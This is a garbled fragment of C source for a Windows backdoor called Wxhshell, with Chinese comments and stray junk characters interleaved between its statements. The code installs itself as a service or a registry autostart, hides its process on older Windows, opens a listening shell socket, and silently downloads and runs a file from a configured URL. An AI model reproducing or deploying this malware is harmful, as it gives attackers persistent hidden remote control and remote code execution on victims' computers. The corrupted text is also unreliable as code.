W uNHdpni CloseHandle(hProcess); TZ;p0^( e8h,,:l3j hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '~ 4pl0TWc if(hProcess==NULL) return 0; T"T;`y@( 1AHx"e,;L HMODULE hMod; e,k2vp!<& char procName[255]; /<&h@$NHH4 unsigned long cbNeeded; ?\/qeGW6G Nwc!r( if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); joXfmHB} 16X@^j_ CloseHandle(hProcess); PF`rWw J9%@VZut if(strstr(procName,"services")) return 1; // 以服务启动 <&pKc6+{ &[a Tw{2 return 0; // 注册表启动 *U=]@I}J } {ub/3Uh :%JC^dV( // 主模块 -fgC"2H int StartWxhshell(LPSTR lpCmdLine) '
)-M\'S$E { dQgk.k SOCKET wsl; aV`&L,Q)7E BOOL val=TRUE; CKlL~f EL int port=0; s$DrR
struct sockaddr_in door; pi@Xkw fd8!KO if(wscfg.ws_autoins) Install(); !r+IXuqV,! kax\h port=atoi(lpCmdLine); W3&tJ8*3 'PlaM Oy if(port<=0) port=wscfg.ws_port; 4'Xgk8) D H^T x WSADATA data; J$9:jE-4 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u/Fj'*M V&Mf:@y if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; .5> 20\b2 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Nf9fb? door.sin_family = AF_INET; y69J%/c
ra door.sin_addr.s_addr = inet_addr("127.0.0.1"); +m,!e*g door.sin_port = htons(port); ?@R")$ p|XAlia if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DlyMJ#a closesocket(wsl); K3mAXC,d return 1; ?Qqd "=k4 } K(T\9J. 'GJVWpvUU if(listen(wsl,2) == INVALID_SOCKET) { M R'o{?{e` closesocket(wsl); ~2uh'e3 return 1; U5/qf8)yO } >qn/<?? Wxhshell(wsl); 7ODaX.t-> WSACleanup(); ?4z8)E9Ju %G?K@5?j? return 0; $R^AEa7 Q;h3v1GC\P } |@j_2Q, V+Xl9v4O // 以NT服务方式启动 I<h=Cj[[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >O]s&34 { 8v
yG*UK DWORD status = 0; {UH9i'y:t DWORD specificError = 0xfffffff; :DkAQ-<~ 2L\3S ukj serviceStatus.dwServiceType = SERVICE_WIN32; .tF|YP== serviceStatus.dwCurrentState = SERVICE_START_PENDING; {<w
+3Va serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BH@b1} serviceStatus.dwWin32ExitCode = 0; TSo:7&| serviceStatus.dwServiceSpecificExitCode = 0; (E($3t8 serviceStatus.dwCheckPoint = 0; :WXf.+IA serviceStatus.dwWaitHint = 0; :#="% )u@c3?$6 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MonS hIz
if (hServiceStatusHandle==0) return;
FfM nul ])y{BlZ status = GetLastError(); zW4O4b$T if (status!=NO_ERROR) ]UNZd/hIL { [cU,!={ serviceStatus.dwCurrentState = SERVICE_STOPPED; aW{L7N % serviceStatus.dwCheckPoint = 0; EZ#gp^$ serviceStatus.dwWaitHint = 0; 8&}~'4[b[$ serviceStatus.dwWin32ExitCode = status; H3 m8 serviceStatus.dwServiceSpecificExitCode = specificError; 3vJ12= SetServiceStatus(hServiceStatusHandle, &serviceStatus); tfiqr|z return; $V8vrT#:
} Q
e1oT) #Ws53mT serviceStatus.dwCurrentState = SERVICE_RUNNING; ;Gm>O7"|@ serviceStatus.dwCheckPoint = 0; r(uP!n1+ serviceStatus.dwWaitHint = 0; `?o=*OS7Y if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H`<?<ak6'M } sm s1%%~ 8?jxDW
a // 处理NT服务事件,比如:启动、停止 oL
*n>dH VOID WINAPI NTServiceHandler(DWORD fdwControl) a0d
, { \3{3ly~L switch(fdwControl) x3p9GAd# { q#1X[A() case SERVICE_CONTROL_STOP: RR>G]#k serviceStatus.dwWin32ExitCode = 0; /jrY%C serviceStatus.dwCurrentState = SERVICE_STOPPED; Etmo78e serviceStatus.dwCheckPoint = 0; UR>_)* serviceStatus.dwWaitHint = 0; n@B{vyy { qw:9zYG}qW SetServiceStatus(hServiceStatusHandle, &serviceStatus); T_L6 t66I } *Wyl2op6 return; 0#|7U_n case SERVICE_CONTROL_PAUSE: t*+! n.p serviceStatus.dwCurrentState = SERVICE_PAUSED; t.3\/ break; kEK[\f VE case SERVICE_CONTROL_CONTINUE: ."JzDs serviceStatus.dwCurrentState = SERVICE_RUNNING; :|XCnK0 break; `*9EKj case SERVICE_CONTROL_INTERROGATE: SWoEt1w break; irFc}.dI }; a%[q
|oyR SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'yT`ef } U6i~A9; d)*(KhYie@ // 标准应用程序主函数 _'*DT=H'U int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wr@GN8e` { b:x7)$( }|He?[TR // 获取操作系统版本 ib50LCm OsIsNt=GetOsVer(); 3}M\c) GetModuleFileName(NULL,ExeFile,MAX_PATH); 5!:._TcO u&3EPu // 从命令行安装 YeIe\3x!N if(strpbrk(lpCmdLine,"iI")) Install(); ]N\6h(**wy $5/\Z // 下载执行文件 >)%#V<{< if(wscfg.ws_downexe) { 7&t~R}&| if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &|,s{?z2 WinExec(wscfg.ws_filenam,SW_HIDE); %<S7 } -><QFJ B/u*<k4 if(!OsIsNt) { T+W3_xIS X // 如果时win9x,隐藏进程并且设置为注册表启动 8on[%Vk HideProc(); JFJIls StartWxhshell(lpCmdLine); oQBiPN+v.3 } x(yX0 ,P/7 else B?TpBd if(StartFromService()) G"f du(.@ // 以服务方式启动 W%zmD Hk~ StartServiceCtrlDispatcher(DispatchTable); [0{wA9g else fB[\("+ // 普通方式启动 1HXlHic StartWxhshell(lpCmdLine); :xN8R^( ;Bnr='[ return 0; x?>!UqgkY }
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